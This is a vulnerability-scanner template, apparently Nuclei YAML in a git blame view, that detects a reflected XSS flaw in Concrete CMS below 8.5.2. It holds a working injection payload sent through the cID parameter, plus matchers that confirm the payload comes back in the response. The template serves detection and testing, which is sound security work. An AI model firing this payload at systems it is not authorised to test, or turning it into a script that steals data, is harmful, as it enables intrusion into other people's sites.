2021-05-04 08:06:16 +00:00
|
|
|
id: concrete-xss
|
|
|
|
|
|
|
|
info:
|
|
|
|
author: shifacyclewla,hackergautam
|
|
|
|
description: The Concrete CMS < 8.5.2 is vulnerable to Reflected XSS using cID parameter.
|
|
|
|
name: Unauthenticated reflected XSS in preview_as_user function
|
|
|
|
severity: medium
|
2021-05-04 08:06:54 +00:00
|
|
|
tags: concrete,xss,cms
|
2021-08-18 11:37:49 +00:00
|
|
|
reference:
|
2021-08-19 14:44:46 +00:00
|
|
|
- https://hackerone.com/reports/643442
|
|
|
|
- https://github.com/concrete5/concrete5/pull/7999
|
|
|
|
- https://twitter.com/JacksonHHax/status/1389222207805661187
|
2021-05-04 08:06:16 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- '{{BaseURL}}/ccm/system/panels/page/preview_as_user/preview?cID="></iframe><svg/onload=alert("{{randstr}}")>'
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
|
|
|
- '</iframe><svg/onload=alert("{{randstr}}")>'
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: header
|
|
|
|
words:
|
|
|
|
- "text/html"
|
2021-05-17 17:09:05 +00:00
|
|
|
- "CONCRETE5"
|
|
|
|
condition: and
|
2021-05-04 08:06:16 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|